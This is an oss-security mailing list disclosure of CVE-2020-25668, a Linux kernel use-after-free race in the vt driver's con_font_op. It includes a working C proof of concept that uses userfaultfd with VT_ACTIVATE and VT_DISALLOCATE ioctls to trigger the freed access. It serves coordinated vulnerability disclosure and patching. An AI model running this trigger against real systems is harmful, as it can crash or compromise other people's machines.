Hash Suite - Windows password security audit tool. GUI, reports in PDF.

Date: Fri, 30 Oct 2020 14:29:04 +0800
From: Minh Yuan <yuanmingbuaa@...il.com>
To: oss-security@...ts.openwall.com
Cc: nopitydays@...il.com
Subject: CVE-2020-25668: Linux kernel concurrency use-after-free in vt

Hi,

We recently discovered a uaf read in *con_font_op* in the latest kernel
(v5.9.2 for now). The root cause of this vulnerability is that there exists
a race in the global variable "*fg_console*", and the commit ca4463bf
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ca4463bf8438b403596edd0ec961ca0d4fbe0220>
can't
handle this issue.

Specifically, after obtaining "vc_cons[fg_console]" by call *do_fontx_ioctl*,
we can use *ioctl$VT_ACTIVATE* to change "fg_console" and use
ioctl$VT_DISALLOCATE to free the old "vc_cons[fg_console]" obtained in
do_fontx_ioctl. As a result, the access to vc in *con_font_op* will
cause a uaf.

To reproduce this concurrency bug stably, I use "userfaultfd" to handle the
order of "free" and "use". This is my PoC (it needs the privilege to access
tty to trigger this bug.) :

```
// author by ziiiro@thu
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#include <unistd.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
int fd;
static int page_size;

static void *fault_handler_thread(void *arg) {
  unsigned long value;
  static struct uffd_msg msg;
  long uffd;
  static char *page = NULL;
  struct uffdio_copy uffdio_copy;
  int len, i;
  if (page == NULL) {
    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
  }
  uffd = (long)arg;

  for(;;) {
    struct pollfd pollfd;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    len = poll(&pollfd, 1, -1);


    read(uffd, &msg, sizeof(msg));
    printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
    printf("    address = 0x%lx\n", msg.arg.pagefault.address);
   // change fg_console to 13
    ioctl(fd, VT_ACTIVATE, 13);
    ioctl(fd, VT_DISALLOCATE, 0);
    // return to kernel-land
    uffdio_copy.src = (unsigned long)page;
    uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
    uffdio_copy.len = page_size;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
        errExit("ioctl: UFFDIO_COPY");

  }
}

void setup_pagefault(void *addr, unsigned size) {
  long uffd;
  pthread_t th;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;
  // new userfaulfd

  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) errExit("userfaultfd");
  // enabled uffd object
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
UFFDIO_API");
  // register memory address
  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len   = size;
  uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl:
UFFDIO_REGITER");
  // monitor page fault
  s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
  if (s != 0) errExit("pthread_create");
}


int main(int argc, char *argv[])
{
    fd = open("/dev/ttyl", O_RDWR);
    struct consolefontdesc cfdarg;
    page_size = sysconf(_SC_PAGE_SIZE);
    void *addr = (void*)mmap((void*)0x233000,
                        page_size * 2,
                        PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANON,
```

```
                        -1, 0);
    if ((unsigned long)addr != 0x233000)
        errExit("mmap (0x233000)");

    setup_pagefault(addr, page_size);
    cfdarg.charcount = 256;
    cfdarg.charheight = 8;
    cfdarg.chardata = addr;
    // change fg_console to 10
    ioctl(fd, VT_ACTIVATE, 10);
    ioctl(fd, PIO_FONTX, &cfdarg);

    return 0;
}

I change "fg_console" to *10* and *13* respectively, you can change it to
any other appropriate number.

In addition to "con_font_op", I think other functions that read or write
vc_cons[fg_console]  will also have the same issue.

Timeline:
* 10.23.20 - Vulnerability reported to security@...nel.org and
linux-distros@...openwall.org.
* 10.27.20 - CVE-2020-25668 assigned.
* 10.30.20 - Vulnerability opened.

Regards,

Yuan Ming, Bodong Zhao from Tsinghua University
```

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.